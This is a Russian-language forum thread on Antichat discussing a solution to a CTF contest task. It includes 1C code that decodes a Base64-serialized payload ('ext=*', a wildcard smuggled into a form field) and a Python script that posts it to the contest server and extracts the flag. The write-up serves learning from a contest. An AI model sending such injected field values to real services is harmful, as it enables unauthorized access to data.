HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.11.2023, 17:22
artesk
Новичок
Регистрация: 19.11.2023
Сообщений: 0
С нами: 1309023

Репутация: 0
По умолчанию

Всем привет!

Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни



 
Ответить с цитированием

  #2  
Старый 20.11.2023, 20:24
Jackerinho
Новичок
Регистрация: 20.11.2023
Сообщений: 0
С нами: 1307404

Репутация: 0
По умолчанию

Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?
 
Ответить с цитированием

  #3  
Старый 24.11.2023, 17:03
ALT1RE
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами: 2942175

Репутация: 0
По умолчанию

Цитата:

Jackerinho сказал(а):

Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?

Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:

Код:


Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад)));   
СпортивноеТело = "";
    
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;
где:

Код:


Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.
После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:

Python:


Код:
import
requests 

response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)
 
Ответить с цитированием

  #4  
Старый 24.11.2023, 17:44
artesk
Новичок
Регистрация: 19.11.2023
Сообщений: 0
С нами: 1309023

Репутация: 0
По умолчанию

Цитата:

ALT1RE сказал(а):

Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:

Код:


Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад))); 
СпортивноеТело = "";
  
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;
где:

Код:


Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.
После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:

Python:


Код:
import
requests

response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)
Нам(1Сникам) платят не за строчки, а за символы. Я хорошо поднялся на этом сниппете кода! Спасибо за детальный разбор
 
Ответить с цитированием

  #5  
Старый 27.11.2023, 11:44
Cruel Lord
Новичок
Регистрация: 29.08.2023
Сообщений: 0
С нами: 1427397

Репутация: 0
По умолчанию

Цитата:

artesk сказал(а):

Всем привет!

Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
Вот это вы заморочились)
 
Ответить с цитированием

  #6  
Старый 29.11.2023, 22:21
veterok
Новичок
Регистрация: 27.09.2016
Сообщений: 0
С нами: 5065925

Репутация: 0
По умолчанию

Цитата:

artesk сказал(а):

Всем привет!

Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N" ,61},{"N",42}}}?
 
Ответить с цитированием

  #7  
Старый 30.11.2023, 01:53
ALT1RE
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами: 2942175

Репутация: 0
По умолчанию

Цитата:

veterok сказал(а):

Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N" ,61},{"N",42}}}?

читайте второй комментарий
 
Ответить с цитированием

  #8  
Старый 12.05.2024, 00:50
sweetpotatohack
Новичок
Регистрация: 24.03.2020
Сообщений: 0
С нами: 3231698

Репутация: 0
По умолчанию

Цитата:

artesk сказал(а):

Всем привет!

Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)
 
Ответить с цитированием

  #9  
Старый 13.05.2024, 15:30
ALT1RE
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами: 2942175

Репутация: 0
По умолчанию

Цитата:

sweetpotatohack сказал(а):

Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)

ну сразу рассказал бы как! к чему эти бессмысленные сообщения плодить?!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.